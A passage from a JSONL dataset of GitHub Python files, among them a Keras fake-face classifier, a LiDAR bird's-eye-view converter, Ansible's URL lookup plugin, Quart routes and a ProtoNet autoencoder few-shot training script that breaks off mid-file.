+{"seq_id":"16493482449","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: ozgeg\r\n\"\"\"\r\nimport tensorflow\r\nimport matplotlib.pyplot as plt\r\n# import os\r\n# from google.colab import drive\r\n# drive.mount('/content/drive')\r\n\r\n# VGG16 ve VGG19, önceden eğitilmiş bir evrişimli sinir ağı (CNN) modelleridir.\r\nconv_base = tensorflow.keras.applications.VGG19(weights='imagenet',\r\n                  include_top=False,\r\n                  input_shape=(224, 224, 3)\r\n                  )\r\n\r\n# Evrişim katmanlarını gösterilir.\r\nconv_base.summary()\r\n\r\n# Hangi katmanların eğitildiğine ve dondurulduğuna karar verilir.\r\n# 'block5_conv1' katmanına kadar olanlar dondurulur.\r\nconv_base.trainable = True\r\nset_trainable = False\r\nfor layer in conv_base.layers:\r\n    if layer.name == 'block5_conv1':\r\n        set_trainable = True\r\n    if set_trainable:\r\n        layer.trainable = True\r\n    else:\r\n        layer.trainable = False\r\n\r\n# Boş bir model oluşturuldu.\r\nmodel = tensorflow.keras.models.Sequential()\r\n\r\n# VGG16, evrişim katmanı olarak eklendi.\r\nmodel.add(conv_base)\r\n\r\n# Katmanlar matrislerden vektörlere dönüştürüldü.\r\nmodel.add(tensorflow.keras.layers.Flatten())\r\n\r\n# Sinir katmanımız eklendi.\r\nmodel.add(tensorflow.keras.layers.Dense(256, activation='relu'))\r\nmodel.add(tensorflow.keras.layers.Dense(2, activation='softmax'))\r\n\r\nmodel.compile(loss='binary_crossentropy',\r\n              optimizer=tensorflow.keras.optimizers.RMSprop(learning_rate=1e-5),\r\n              metrics=['acc'])\r\n\r\n# Oluşturulan model gösteriliyor.\r\nmodel.summary()\r\n\r\n# Verilerin bulunduğu dizinleri tanımlama.\r\ntrain_dir = 'veriseti/egitim'\r\nvalidation_dir = 'veriseti/gecerleme'\r\ntest_dir = 'veriseti/test'\r\n\r\n# Aşırı uyumunu önlemek için veri artırma (data augmentation) yöntemlerini uygulamamız gerekir.\r\ntrain_datagen = tensorflow.keras.preprocessing.image.ImageDataGenerator(\r\n      rescale=1./255, # piksel değerleri 0-255'den 0-1 arasına getiriliyor.\r\n      rotation_range=40, # istenilen artırma işlemleri yapılabilir.\r\n      width_shift_range=0.2,\r\n      height_shift_range=0.2,\r\n      shear_range=0.2,\r\n      zoom_range=0.2,\r\n      horizontal_flip=True,\r\n      fill_mode='nearest'\r\n      )\r\n\r\n\r\ntrain_generator = train_datagen.flow_from_directory(\r\n        train_dir,\r\n        target_size=(224, 224),\r\n        batch_size=32,\r\n        )\r\n\r\n# Eğitim sürecini doğrulamak için artırılmış görüntülere ihtiyacımız yok.\r\nvalidation_datagen = tensorflow.keras.preprocessing.image.ImageDataGenerator(\r\n        rescale=1./255\r\n        )\r\n\r\nvalidation_generator = validation_datagen.flow_from_directory(\r\n        validation_dir,\r\n        target_size=(224, 224),\r\n        batch_size=32,\r\n        )\r\n\r\n# Modelin eğitimi.\r\nhistory = model.fit(\r\n      train_generator,\r\n      steps_per_epoch=84,\r\n      epochs=100,\r\n      validation_data=validation_generator,\r\n      validation_steps=1)\r\n\r\n\r\nplt.plot(history.history['acc']) #her bir epoch için eğitim doğruluğunu çizer.\r\nplt.plot(history.history['val_acc']) #her bir epoch için doğrulama(geçerleme) doğruluğunu çizer.\r\nplt.title('Model acc') #doğruluk grafiğinin başlığını belirler.\r\nplt.xlabel('Epochs') #x-ekseni etiketini ayarlar.\r\nplt.ylabel('acc') #y-ekseni etiketini ayarlar.\r\nplt.legend(['train','val'],loc='upper left') #grafiğe bir açıklama ekler. 'train', eğitim doğruluğunu temsil eder ve 'val', doğrulama(geçerleme) doğruluğunu temsil eder. Açıklama grafiğin sol üst köşesine yerleştirilir.\r\nplt.show() #grafiği görüntüler.\r\n\r\nplt.plot(history.history['loss'])#her bir epoch için eğitim kaybını çizer.\r\nplt.plot(history.history['val_loss']) # her bir epoch için doğrulama kaybını çizer.\r\nplt.title('Model loss')\r\nplt.xlabel('Epochs')\r\nplt.ylabel('loss')\r\nplt.legend(['train','val'],loc='upper left')\r\nplt.show()\r\n\r\n\r\n# Eğitilmiş model çalışma dizinine kaydedilir.\r\nmodel.save('fakeFaceDetection.h5')\r\n\r\n# Eğitilmiş modeli test etmek için artırılmış görüntülere ihtiyacımız yok.\r\ntest_datagen = tensorflow.keras.preprocessing.image.ImageDataGenerator(\r\n        rescale=1./255\r\n        )\r\n\r\ntest_generator = test_datagen.flow_from_directory(\r\n        test_dir,\r\n        target_size=(224, 224),\r\n        batch_size=32,\r\n        )\r\n\r\n# Test sonuçlarının yazdırılır.\r\ntest_loss, test_acc = model.evaluate(test_generator)\r\nprint('test acc:', test_acc)\r\n\r\n\r\nfrom sklearn.metrics import ConfusionMatrixDisplay\r\nfrom sklearn.metrics import confusion_matrix\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n#Tahmin,Karmaşıklık Matrisi\r\nY_pred = model.predict(validation_generator)\r\ny_pred = np.argmax(Y_pred, axis=1)\r\nprint('Confusion Matrix')\r\ncm=confusion_matrix(validation_generator.classes, y_pred)\r\nlabels = [\"fake\", \"real\"]\r\ndisp = ConfusionMatrixDisplay(confusion_matrix=cm, display_labels=labels)\r\ndisp.plot(cmap=plt.cm.Blues)\r\nplt.show()\r\n","repo_name":"ozgegurbuz1/Fake-Face-Detection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4863,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43893771341","text":"from wazo_auth import exceptions\n\nfrom .base import BaseDAO\nfrom ..models import Email\n\n\nclass EmailDAO(BaseDAO):\n    def confirm(self, email_uuid):\n        filter_ = Email.uuid == str(email_uuid)\n        nb_updated = (\n            self.session.query(Email).filter(filter_).update({'confirmed': True})\n        )\n        self.session.flush()\n\n        if not nb_updated:\n            raise exceptions.UnknownEmailException(email_uuid)\n","repo_name":"wazo-platform/wazo-auth","sub_path":"wazo_auth/database/queries/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"}
+{"seq_id":"27826998521","text":"import numpy as np\nimport cv2\n\nfrom kitti_data.pykitti import utils\nfrom config import cfg\n# from net.common import TOP_X_MIN,TOP_X_MAX,TOP_Y_MIN,TOP_Y_MAX\nimport data\n\n\n\nTOP_Y_MIN=-20  #40\nTOP_Y_MAX=+20\nTOP_X_MIN=0\nTOP_X_MAX=40   #70.4\nTOP_Z_MIN=-2.0    ###<todo> determine the correct values!\nTOP_Z_MAX= 0.4\n\n\nTOP_X_DIVISION=0.1  #0.1\nTOP_Y_DIVISION=0.1\nTOP_Z_DIVISION=0.4\n\n\ndef lidar_to_top(lidar):\n\n    idx = np.where (lidar[:,0]>TOP_X_MIN)\n    lidar = lidar[idx]\n    idx = np.where (lidar[:,0]<TOP_X_MAX)\n    lidar = lidar[idx]\n\n    idx = np.where (lidar[:,1]>TOP_Y_MIN)\n    lidar = lidar[idx]\n    idx = np.where (lidar[:,1]<TOP_Y_MAX)\n    lidar = lidar[idx]\n\n    idx = np.where (lidar[:,2]>TOP_Z_MIN)\n    lidar = lidar[idx]\n    idx = np.where (lidar[:,2]<TOP_Z_MAX)\n    lidar = lidar[idx]\n\n\n    pxs=lidar[:,0]\n    pys=lidar[:,1]\n    pzs=lidar[:,2]\n    prs=lidar[:,3]\n    qxs=((pxs-TOP_X_MIN)//TOP_X_DIVISION).astype(np.int32)\n    qys=((pys-TOP_Y_MIN)//TOP_Y_DIVISION).astype(np.int32)\n    qzs=((pzs-TOP_Z_MIN)//TOP_Z_DIVISION).astype(np.int32)\n    quantized = np.dstack((qxs,qys,qzs,prs)).squeeze()\n\n    X0, Xn = 0, int((TOP_X_MAX-TOP_X_MIN)//TOP_X_DIVISION)+1\n    Y0, Yn = 0, int((TOP_Y_MAX-TOP_Y_MIN)//TOP_Y_DIVISION)+1\n    Z0, Zn = 0, int((TOP_Z_MAX-TOP_Z_MIN)//TOP_Z_DIVISION)+1\n    height  = Yn - Y0\n    width   = Xn - X0\n    channel = Zn - Z0  + 2\n    print('height,width,channel=%d,%d,%d'%(height,width,channel))\n    top = np.zeros(shape=(height,width,channel), dtype=np.float32)\n\n\n    # histogram = Bin(channel, 0, Zn, \"z\", Bin(height, 0, Yn, \"y\", Bin(width, 0, Xn, \"x\", Maximize(\"intensity\"))))\n    # histogram.fill.numpy({\"x\": qxs, \"y\": qys, \"z\": qzs, \"intensity\": prs})\n\n    if 1:  #new method\n        for z in range(Zn):\n            iz = np.where (quantized[:,2]==z)\n            quantized_z = quantized[iz]\n\n            for y in range(Yn):\n                iy  = np.where (quantized_z[:,1]==y)\n                quantized_zy = quantized_z[iy]\n\n                for x in range(Xn):\n                    ix  = np.where (quantized_zy[:,0]==x)\n                    quantized_zyx = quantized_zy[ix]\n                    if len(quantized_zyx)>0:\n                        yy,xx,zz = -x,-y, z\n\n                        #height per slice\n                        max_height = max(0,np.max(quantized_zyx[:,2])-TOP_Z_MIN)\n                        top[yy,xx,zz]=max_height\n\n                        #intensity\n                        max_intensity = np.max(quantized_zyx[:,3])\n                        top[yy,xx,Zn]=max_intensity\n\n                        #density\n                        count = len(idx)\n                        top[yy,xx,Zn+1]+=count\n\n                    pass\n                pass\n            pass\n\n    top[:,:,Zn+1] = np.log(top[:,:,Zn+1]+1)/math.log(64)\n\n    if 1:\n        top_image = np.sum(top,axis=2)\n        top_image = top_image-np.min(top_image)\n        top_image = (top_image/np.max(top_image)*255)\n        top_image = np.dstack((top_image, top_image, top_image)).astype(np.uint8)\n\n\n    if 0: #unprocess\n        top_image = np.zeros((height,width,3),dtype=np.float32)\n\n        num = len(lidar)\n        for n in range(num):\n            x,y = qxs[n],qys[n]\n            if x>=0 and x <width and y>0 and y<height:\n                top_image[y,x,:] += 1\n\n        max_value=np.max(np.log(top_image+0.001))\n        top_image = top_image/max_value *255\n        top_image=top_image.astype(dtype=np.uint8)\n\n\n    return top, top_image\n\nif 0:\n    import matplotlib\n    matplotlib.use('TkAgg')\n    import matplotlib.pyplot as plt\n    from mpl_toolkits.mplot3d import Axes3D\n    def plot_lidar(lidar):\n        print(lidar.shape)\n        fig = plt.figure()\n        ax = fig.add_subplot(111, projection='3d')\n        for i in range(len(lidar)):\n            ax.scatter(lidar[i,0], lidar[i,1], lidar[i,2],s=0.01,\n                       c= [0.5,0.5,0.5])\n            plt.axis('equal')\n            # ax.set_xlabel('LabelX')\n            # ax.set_ylabel('LabelY')\n            # ax.set_zlabel('LabelZ')\n            # ax.set_xlim(30, 40)\n            # ax.set_ylim(-10, 10)\n            # ax.set_zlim(0, 10)\n        plt.show()\n\n\n        lidars= utils.load_velo_scans(['30.bin'])\n        intensity_max=np.max(lidars[0][:,3])\n\n        print('shape: '+str(lidars[0].shape)+' intensity max: '+str(intensity_max))\n        plot_lidar(lidars[0])\n        top, top_image = data.lidar_to_top(lidars[0])\n        cv2.imwrite('30.png', top_image)\n\nif 0:\n    top=np.load('1_t_15_00138.npy')\n\n    top_image = np.sum(top, axis=2)\n    top_image = top_image - np.min(top_image)\n    top_image = (top_image / np.max(top_image) * 255)\n    top_image = np.dstack((top_image, top_image, top_image)).astype(np.uint8)\n    cv2.imwrite('top_image_1.png', top_image)\n\n    for i in range(8):\n        top_image = top[:,:,i]\n        top_image = top_image - np.min(top_image)\n        top_image = (top_image / np.max(top_image) * 255)\n        top_image = np.dstack((top_image, top_image, top_image)).astype(np.uint8)\n        cv2.imwrite('top_image_{}.png'.format(i), top_image)\n\nif 1:\n    import mayavi.mlab as mlab\n\n    from show_lidar import *\n\n    lidars= utils.load_velo_scans(['kitti_005_0000000000.bin'])\n    lidar=lidars[0]\n    intensity_max=np.max(lidars[0][:,3])\n    fig = mlab.figure(figure=None, bgcolor=(0, 0, 0), fgcolor=None, engine=None, size=(500, 500))\n    mlab.clf(fig)\n    draw_didi_lidar(fig, lidar, is_grid=1, is_axis=1)\n    mlab.show()\n\n    # print('shape: '+str(lidars[0].shape)+' intensity max: '+str(intensity_max))\n    # plot_lidar(lidars[0])\n    # top, top_image = data.lidar_to_top(lidars[0])\n    # cv2.imwrite('30.png', top_image)\n\n\n","repo_name":"bostondiditeam/MV3D","sub_path":"src/test/load_lidar_binary.py","file_name":"load_lidar_binary.py","file_ext":"py","file_size_in_byte":5621,"program_lang":"python","lang":"en","doc_type":"code","stars":456,"dataset":"github-code","pt":"21"}
+{"seq_id":"29374738441","text":"from sqlalchemy import Boolean, Column, ForeignKey, Integer, String\nfrom sqlalchemy.orm import relationship\nfrom database import Base\n\n\nclass User(Base):\n    __tablename__ = \"users\"\n    user_id = Column(Integer, primary_key=True, index=True)\n    user_name = Column(String(50), unique=True, index=False)\n\n\nclass Message(Base):\n    __tablename__ = \"messages\"\n    msg_id = Column(Integer, primary_key=True, index=True)\n    message = Column(String(100), index=False)\n    time = Column(String(50), index=False)\n    sender_id = Column(Integer, ForeignKey(\"users.user_id\"))\n    receiver_id = Column(Integer, ForeignKey(\"users.user_id\"))\n","repo_name":"venkatesh1226/crazy_convo_fastapi","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37065228031","text":"'''\nCreated on Jan 28, 2016\n\n@author: victor\n'''\nfrom nma_algo_char.common import MetropolisMCSimulator, prepare_subplots\nfrom nma_algo_char.acceptance_and_rmsf_from_logs import load_single_proc_data\nimport os.path\nfrom nma_algo_char.mode_application_analysis import process_energy_differences\nimport numpy\nfrom anmichelpers.tools.tools import norm\nfrom optparse import OptionParser\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ndef calc_distances(in_coords, who_is_accepted):\n    coords = in_coords[who_is_accepted]\n    distances = []\n    for coordset in coords:\n        distances.append(norm(coordset[128]-coordset[18]))\n    return numpy.array(distances)\n\nif __name__ == '__main__':\n    \n    parser = OptionParser()\n    parser.add_option(\"--type\", dest=\"sim_type\")\n    parser.add_option(\"-t\", type=\"int\", dest=\"temperature\")\n    (options, args) = parser.parse_args()\n    \n    folders = [\n             \"IC_dispFact_0.65_dm_1\",\n             \"IC_dispFact_0.65_dm_2\",\n             \"IC_dispFact_0.65_dm_3\",\n             \"IC_dispFact_0.65_dm_4\",\n             \"IC_dispFact_0.65_dm_5\",\n             \"IC_dispFact_0.65_dm_6\",\n             \"IC_dispFact_0.65_dm_7\",\n             \"IC_dispFact_0.65_dm_8\",\n             \"IC_dispFact_0.65_dm_9\",\n             \"IC_dispFact_0.65_dm_10\"\n             ]\n    \n    distances = {}\n    for folder in folders:\n        raw_data, min_len = load_single_proc_data(options.sim_type, os.path.join(folder,\"info\"))\n        \n        energy_increments = process_energy_differences(raw_data)\n        mc = MetropolisMCSimulator(energy_increments)\n        \n        who_is_accepted = mc.who_is_accepted(options.temperature)\n        \n        coords = numpy.reshape(raw_data[\"coords_after\"], (len(raw_data[\"coords_after\"]), \n                                                                           len(raw_data[\"coords_after\"][0])/3, \n                                                                           3))\n        distances[folder] =  calc_distances(coords, range(len(coords)))#who_is_accepted[:150])\n    \n    \n    sns.set_style(\"whitegrid\")\n    row_len = 4\n    col_len = 3\n    folders.extend([\"IC_dispFact_0.65_dm_10\",\"IC_dispFact_0.65_dm_10\"])\n    f, axes = prepare_subplots(row_len, col_len)\n    for i,folder in enumerate(folders):\n        ax = axes[i/row_len, i%row_len]\n        ax.set_title(folder)\n        if i%row_len == 0:\n            ax.set_ylabel(\"Distance ($\\AA$)\")\n        if i/row_len == col_len-1:\n            ax.set_xlabel(\"Step\")\n        ax.plot(distances[folder])\n    plt.suptitle(\"Inter domain distance\")                   \n    plt.show()\n    \n    ","repo_name":"victor-gil-sepulveda/PhD-ANMPythonHelpers","sub_path":"nma_algo_char/domain_distances_from_logs.py","file_name":"domain_distances_from_logs.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"24455207437","text":"# (c) 2015, Brian Coca <bcoca@ansible.com>\n#\n# This file is part of Ansible\n#\n# Ansible is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Ansible is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.\nfrom __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\nimport urllib2\n\nfrom ansible.errors import AnsibleError\nfrom ansible.plugins.lookup import LookupBase\nfrom ansible.module_utils.urls import open_url, ConnectionError, SSLValidationError\nfrom ansible.utils.unicode import to_unicode\n\nclass LookupModule(LookupBase):\n\n\n    def run(self, terms, variables=None, **kwargs):\n\n        validate_certs = kwargs.get('validate_certs', True)\n\n        ret = []\n        for term in terms:\n            self._display.vvvv(\"url lookup connecting to %s\" % term)\n            try:\n                response = open_url(term, validate_certs=validate_certs)\n            except urllib2.HTTPError as e:\n                raise AnsibleError(\"Received HTTP error for %s : %s\" % (term, str(e)))\n            except urllib2.URLError as e:\n                raise AnsibleError(\"Failed lookup url for %s : %s\" % (term, str(e)))\n            except SSLValidationError as e:\n                raise AnsibleError(\"Error validating the server's certificate for %s: %s\" % (term, str(e)))\n            except ConnectionError as e:\n                raise AnsibleError(\"Error connecting to %s: %s\" % (term, str(e)))\n\n            for line in response.read().splitlines():\n                ret.append(to_unicode(line))\n        return ret\n","repo_name":"source-foundry/code-corpora","sub_path":"python/ansible/url.py","file_name":"url.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"21"}
+{"seq_id":"12208105324","text":"from quart import render_template, request\nfrom app import quart_app, api\n\n\n@quart_app.route('/')\nasync def index():\n    return await render_template(\n        'index.html',\n        title='Index'\n    )\n\n\n@quart_app.route('/api')\nasync def api_index():\n    return await render_template(\n        'index.html',\n        title='API Documents'\n    )\n\n\n@quart_app.route('/timetable')\nasync def get_timetable():\n    req_values = await request.values\n    if req_values.getlist(\"subject\"):\n        result = api.build_timetable(req_values.getlist(\"subject\"))\n        subjects_available = api.get_available()\n    else:\n        result = api.empty_timetable()\n        subjects_available = api.get_all()\n    return await render_template(\n        'timetable.html',\n        title='Timetable',\n        weekdays=api.weekdays,\n        current_timetable=result['timetable'],\n        subjects_available=subjects_available\n    )","repo_name":"noxowl/JaistCourseworkHelper","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43265465349","text":"\"\"\"\n    定义函数，根据年月日计算星期数\n    星期一\n    星期二\n    ...\n\"\"\"\nimport time\n\n\ndef get_week(year, month, day):\n    time_tuple = time.strptime(\"%d/%d/%d\" % (year, month, day), \"%Y/%m/%d\")\n    tuple_weeks = (\"星期一\", \"星期二\", \"星期三\", \"星期四\", \"星期五\", \"星期六\", \"星期日\")\n    return tuple_weeks[time_tuple[6]]\n\n\nprint(get_week(2021, 10, 7))\n","repo_name":"fenglinhuoshan-xun/pythonLearning","sub_path":"stage1/PYTHON_ADVANCED/day01 设计思想与python程序结构/exercise04.py","file_name":"exercise04.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40170663390","text":"import os\nimport random\nimport time\nfrom typing import Tuple\n\nimport matplotlib.pyplot as plt\nimport torch\nfrom torch import nn\n\nfrom data import LABELED_DATASETS, LabeledSubdataset\nfrom models.images.classification.backbones import NoFlatteningBackbone\nfrom models.images.classification.few_shot_learning import evaluate_solution_episodes, accuracy, FSLEpisodeSampler, \\\n    FEATURE_EXTRACTORS, FSLEpisodeSamplerGlobalLabels, OPTIMIZERS\nfrom sessions import Session\nfrom utils import pretty_time, remove_dim\nfrom visualization.plots import PlotterWindow\n\nMAX_BATCH_SIZE = 20000\n\nEPOCHS_MULTIPLIER = 2\n\n\ndef decoder_block(input_dim: int, output_dim: int, padding=1, output_padding=1):\n    return nn.Sequential(*[\n        nn.ConvTranspose2d(input_dim, output_dim, kernel_size=3, stride=2, padding=padding,\n                           output_padding=output_padding),\n        nn.LeakyReLU(),\n        nn.BatchNorm2d(output_dim),\n    ])\n\n\nclass ConvNetDecoder(nn.Module):\n    def __init__(self, input_dim=64, input_map_size=1):\n        super(ConvNetDecoder, self).__init__()\n        self.input_dim = input_dim\n        self.input_map_size = input_map_size\n        self.map_size = 6\n\n        self.linear = nn.Linear(in_features=input_dim * (input_map_size ** 2),\n                                out_features=input_dim * (self.map_size ** 2))\n        self.relu = nn.ReLU()\n\n        self.layer1 = decoder_block(input_dim, input_dim, output_padding=0)\n        self.layer2 = decoder_block(input_dim, input_dim, output_padding=0)\n        self.layer3 = decoder_block(input_dim, input_dim)\n        self.layer4 = decoder_block(input_dim, 3)\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        x = x.view(x.size(0), -1)\n        x = self.linear(x)\n        x = self.relu(x)\n        x = x.view(x.size(0), self.input_dim, self.map_size, self.map_size)\n\n        x = self.layer1(x)\n        x = self.layer2(x)\n        x = self.layer3(x)\n        x = self.layer4(x)\n\n        return x\n\n\nclass ProtoNet_AE(nn.Module):\n    def __init__(self, backbone: NoFlatteningBackbone):\n        super(ProtoNet_AE, self).__init__()\n        self.feature_extractor = backbone\n        self.decoder = ConvNetDecoder(input_dim=backbone.output_features(),\n                                      input_map_size=backbone.output_featmap_size())\n\n        self.latent_features = backbone.output_features()\n        self.latent_featmap_size = backbone.output_featmap_size()\n\n        self.loss_fn = nn.CrossEntropyLoss()\n        self.loss_ae_fn = nn.MSELoss()\n\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                nn.init.kaiming_normal_(m.weight, a=0, mode='fan_in', nonlinearity='conv2d')\n                try:\n                    nn.init.constant_(m.bias, 0)\n                except AttributeError as e:\n                    pass\n\n            elif isinstance(m, nn.BatchNorm2d):\n                nn.init.constant_(m.weight, 1)\n                nn.init.constant_(m.bias, 0)\n\n    def extract_features(self, batch: torch.Tensor) -> torch.Tensor:\n        minibatches = batch.split(split_size=MAX_BATCH_SIZE)\n        xs = []\n        for minibatch in minibatches:\n            output = self.feature_extractor(minibatch)\n            output = output.view(output.size(0), -1)\n            xs.append(output)\n        x = torch.cat(xs)\n        return x\n\n    def get_prototypes(self, support_set: torch.Tensor):\n        return torch.mean(support_set, dim=1)\n\n    def forward(self, support_set: torch.Tensor, query_set: torch.Tensor) -> torch.Tensor:\n        n_classes = support_set.size(0)\n        support_set_size = support_set.size(1)\n        query_set_size = query_set.size(0)\n\n        support_set_features = self.extract_features(remove_dim(support_set, 1)).view(n_classes,\n                                                                                      support_set_size, -1)\n\n        query_set_features = self.extract_features(query_set)\n\n        class_prototypes = self.get_prototypes(support_set_features)\n\n        query_set_features_prepared = query_set_features.unsqueeze(1).repeat_interleave(repeats=n_classes,\n                                                                                        dim=1)\n\n        distance = torch.sum((class_prototypes.unsqueeze(0).repeat_interleave(repeats=query_set_size,\n                                                                              dim=0) -\n                              query_set_features_prepared).pow(2), dim=2)\n\n        return -distance\n\n    def forward_with_loss(self, support_set: torch.Tensor, query_set: torch.Tensor, labels: torch.Tensor) -> Tuple[\n        torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor]:\n        output = self(support_set, query_set)\n        loss_i = self.loss_fn(output, labels) * 0.2\n\n        # Autoencoder loss\n\n        encoded = self.extract_features(query_set).view(-1, self.latent_features, self.latent_featmap_size,\n                                                        self.latent_featmap_size)\n        decoded = self.decoder(encoded)\n        loss_ae = self.loss_ae_fn(decoded.view(decoded.size(0), -1), query_set.view(query_set.size(0), -1))\n\n        loss = loss_i + loss_ae\n        return output, loss, loss_i, loss_ae\n\n\ndef train_protonetae(base_subdataset: LabeledSubdataset, val_subdataset: LabeledSubdataset, n_shot: int, n_way: int,\n                     n_iterations: int, batch_size: int, eval_period: int,\n                     val_batch_size: int,\n                     image_size: int,\n                     balanced_batches: bool,\n                     train_n_way=15,\n                     backbone_name='resnet12-np-o',\n                     device=torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\"), **kwargs):\n    session_info = {\n        \"task\": \"few-shot learning\",\n        \"model\": \"ProtoNetAE\",\n        \"feature_extractor\": backbone_name,\n        \"n_iterations\": n_iterations,\n        \"eval_period\": eval_period,\n        # \"dataset\": dataset_name,\n        # \"optimizer\": optimizer_name,\n        \"batch_size\": batch_size,\n        \"val_batch_size\": val_batch_size,\n        \"n_shot\": n_shot,\n        \"n_way\": n_way,\n        \"train_n_way\": train_n_way,\n        \"optimizer\": 'adam',\n        \"image_size\": image_size,\n        \"balanced_batches\": balanced_batches,\n    }\n\n    session_info.update(kwargs)\n\n    backbone = FEATURE_EXTRACTORS[backbone_name]()\n    model = ProtoNet_AE(backbone=backbone).to(device)\n\n    optimizer = OPTIMIZERS['adam'](model=model)\n\n    base_sampler = FSLEpisodeSamplerGlobalLabels(subdataset=base_subdataset, n_way=train_n_way, n_shot=n_shot,\n                                                 batch_size=batch_size, balanced=balanced_batches)\n    val_sampler = FSLEpisodeSampler(subdataset=val_subdataset, n_way=n_way, n_shot=n_shot, batch_size=val_batch_size,\n                                    balanced=balanced_batches)\n\n    loss_plotter = PlotterWindow(interval=1000)\n    accuracy_plotter = PlotterWindow(interval=1000)\n\n    loss_plotter.new_line('Loss')\n    loss_plotter.new_line('Loss Instance')\n    loss_plotter.new_line('Loss Autoencoder')\n    accuracy_plotter.new_line('Train Accuracy')\n    accuracy_plotter.new_line('Validation Accuracy')\n\n    losses = []\n    losses_i = []\n    losses_ae = []\n    acc_train = []\n    acc_val = []\n    val_iters = []\n\n    best_accuracy = 0\n    best_iteration = -1\n\n    print(\"Training started for parameters:\")\n    print(session_info)\n    print()\n\n    start_time = time.time()\n\n    for iteration in range(n_iterations):\n        model.train()\n\n        support_set, batch, global_classes_mapping = base_sampler.sample()\n        # print(support_set.size())\n        query_set, query_labels = batch\n        # print(query_set.size())\n        # print(global_classes_mapping)\n        query_set = query_set.to(device)\n        query_labels = query_labels.to(device)\n\n        optimizer.zero_grad()\n        output, loss, loss_i, loss_ae = model.forward_with_loss(support_set, query_set, query_labels)\n        loss.backward()\n        optimizer.step()\n\n        labels_pred = output.argmax(dim=1)\n        labels = query_labels\n        cur_accuracy = accuracy(labels=labels, labels_pred=labels_pred)\n\n        loss_plotter.add_point('Loss', iteration, loss.item())\n        loss_plotter.add_point('Loss Instance', iteration, loss_i.item())\n        loss_plotter.add_point('Loss Autoencoder', iteration, loss_ae.item())\n        accuracy_plotter.add_point('Train Accuracy', iteration, cur_accuracy)\n\n        losses.append(loss.item())\n        losses_i.append(loss_i.item())\n        losses_ae.append(loss_ae.item())\n        acc_train.append(cur_accuracy)\n\n        if iteration % eval_period == 0 or iteration == n_iterations - 1:\n            val_start_time = time.time()\n\n            val_accuracy = evaluate_solution_episodes(model, val_sampler)\n            accuracy_plotter.add_point('Validation Accuracy', iteration, val_accuracy)\n\n            acc_val.append(val_accuracy)\n            val_iters.append(iteration + 1)\n\n            if val_accuracy > best_accuracy:\n                best_accuracy = val_accuracy\n                best_iteration = iteration\n                print(\"Best evaluation result yet!\")\n\n            cur_time = time.time()\n\n            val_time = cur_time - val_start_time\n            time_used = cur_time - start_time\n            time_per_iteration = time_used / (iteration + 1)\n\n            print()\n            print(\"[%d/%d] = %.2f%%\\t\\tLoss: %.4f\" % (\n                iteration + 1, n_iterations, (iteration + 1) / n_iterations * 100, loss.item()))\n            print(\"Current validation time: %s\" % pretty_time(val_time))\n\n            print('Average iteration time: %s\\tEstimated execution time: %s' % (\n                pretty_time(time_per_iteration),\n                pretty_time(time_per_iteration * (n_iterations - iteration - 1)),\n            ))\n            print()\n\n    cur_time = time.time()\n    training_time = cur_time - start_time\n    print(\"Training finished. Total execution time: %s\" % pretty_time(training_time))\n    print(\"Best accuracy is: %.3f\" % best_accuracy)\n    print(\"Best iteration is: [%d/%d]\" % (best_iteration + 1, n_iterations))\n    print()\n\n    session_info['accuracy'] = best_accuracy\n    session_info['best_iteration'] = best_iteration\n    session_info['execution_time'] = training_time\n\n    session = Session()\n    session.build(name=\"ProtoNetAE\", comment=r\"ProtoNet + AE Loss Few-Shot Learning\",\n                  **session_info)\n    torch.save(model, os.path.join(session.data['output_dir'], \"trained_model_state_dict.tar\"))\n    iters = list(range(1, n_iterations + 1))\n\n    plt.figure(figsize=(20, 20))\n    plt.plot(iters, losses, label=\"Loss\")\n    plt.plot(iters, losses_i, label=\"Loss Instance\")\n    plt.plot(iters, losses_ae, label=\"Loss Autoencoder\")\n    plt.legend()\n    plt.savefig(os.path.join(session.data['output_dir'], \"loss_plot.png\"))\n\n    plt.figure(figsize=(20, 20))\n    plt.plot(iters, acc_train, label=\"Train Accuracy\")\n    plt.plot(val_iters, acc_val, label=\"Test Accuracy\")\n    plt.legend()\n    plt.savefig(os.path.join(session.data['output_dir'], \"acc_plot.png\"))\n\n    session.save_info()\n\n\nif __name__ == '__main__':\n    torch.random.manual_seed(2002)\n    random.seed(2002)\n\n    DATASET_NAME = 'miniImageNet'\n    BASE_CLASSES = 80\n    AUGMENT_PROB = 1.0\n    ITERATIONS = 40000 * EPOCHS_MULTIPLIER\n    N_WAY = 5\n    EVAL_PERIOD = 1000\n    RECORD = 200\n    